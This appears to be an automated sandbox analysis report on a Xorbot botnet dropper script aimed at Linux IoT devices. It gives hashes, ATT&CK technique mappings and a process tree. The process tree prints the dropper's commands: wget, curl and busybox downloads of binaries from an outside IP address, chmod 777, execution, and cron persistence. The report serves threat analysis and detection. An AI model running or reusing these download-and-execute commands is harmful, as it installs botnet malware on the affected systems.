xorbot | af798822bd6bbe4e5648d097c02ed204fada91fcf1260c48cf0fa9a190e30b6c

Analysis

max time kernel
149s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
27/02/2025, 23:12

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General

Target

5CAY8_bins.sh
Size

10KB
MD5

5cae212a65109f1a0f1218d70286d4b0
SHA1

1f0fb32f13a4e4ad9463a27c76e9b76591a92408
SHA256

af798822bd6bbe4e5648d097c02ed204fada91fcf1260c48cf0fa9a190e30b6c
SHA512

d3ea3fdfdc55fb8881318fd786c2bc94d83051e51f345bb9bbe6523215acd0367cc3e26a840de561b8aae9e3915c6f2c2d2b2d49b73a6e04f66eb14293c17ffe
SSDEEP

192:QyeOaCMsvmyHcwni6q4YBC+7cR9aP3Ty/IDq4YBC+vER9aP3asDNsTMsvmyzcwnQ:QyeOaCMsvmyHcwni6q4YBC+IR9aP3TqP

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (1986) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
668	chmod
688	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	670	5CAY8_bins.sh
/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN	689	5CAY8_bins.sh

Renames itself 1 IoCs

pid	Process
671	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.DDsqEh	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/764/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/811/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/844/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/865/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/918/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/930/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/775/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/803/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/827/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/944/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/989/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/997/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/269/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/309/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/767/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/794/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/801/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/915/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/988/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1013/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/9/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/18/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/851/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/979/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/994/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/11/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/41/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/791/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/874/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/638/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/753/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/777/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/821/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/5/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/721/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/959/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/977/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/990/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/784/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/2/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/106/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/691/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/891/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/910/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/933/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/800/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/804/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/882/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/884/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/925/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/22/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/773/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/631/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/758/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/785/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/795/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/929/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/1003/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/12/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/790/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/792/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
File opened for reading	/proc/793/cmdline	Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

Writes file to tmp directory 5 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	curl
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	busybox
File opened for modification	/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN	wget
File opened for modification	/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN	busybox
File opened for modification	/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT	wget

/tmp/5CAY8_bins.sh
/tmp/5CAY8_bins.sh
1⤵
- Executes dropped EXE
PID:639
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:641
- /usr/bin/wget
  wget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - Writes file to tmp directory
  PID:644
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:655
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - Writes file to tmp directory
  PID:664
- /bin/chmod
  chmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - File and Directory Permissions Modification
  PID:668
- /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  ./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:670
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:672
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:674
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:675
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:677
- /bin/rm
  rm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
  2⤵
  PID:680
- /usr/bin/wget
  wget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - Writes file to tmp directory
  PID:683
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - Checks CPU configuration
  PID:684
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - Writes file to tmp directory
  PID:685
- /bin/chmod
  chmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  ./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  PID:689
- /bin/rm
  rm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
  2⤵
  PID:692
- /usr/bin/wget
  wget http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  PID:694
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:697

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.DDsqEh

Filesize
210B

MD5
0d8a4364e5c34935c433abbe6811008d

SHA1
a5abcbbe492a1d88849e9df5684387a6d338b234

SHA256
6dcf4a918713e5be3cc4513be1080d5fdc363485fc81a0c7de64c2c5e8f012a3

SHA512
8c220c0df431dae19726ccaafe300fd358db492598e114b164a5622c2bd9a66a5e841a318cdd25ce39e45d41baffebf09656d31c32051cfc146779873fbcb226

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads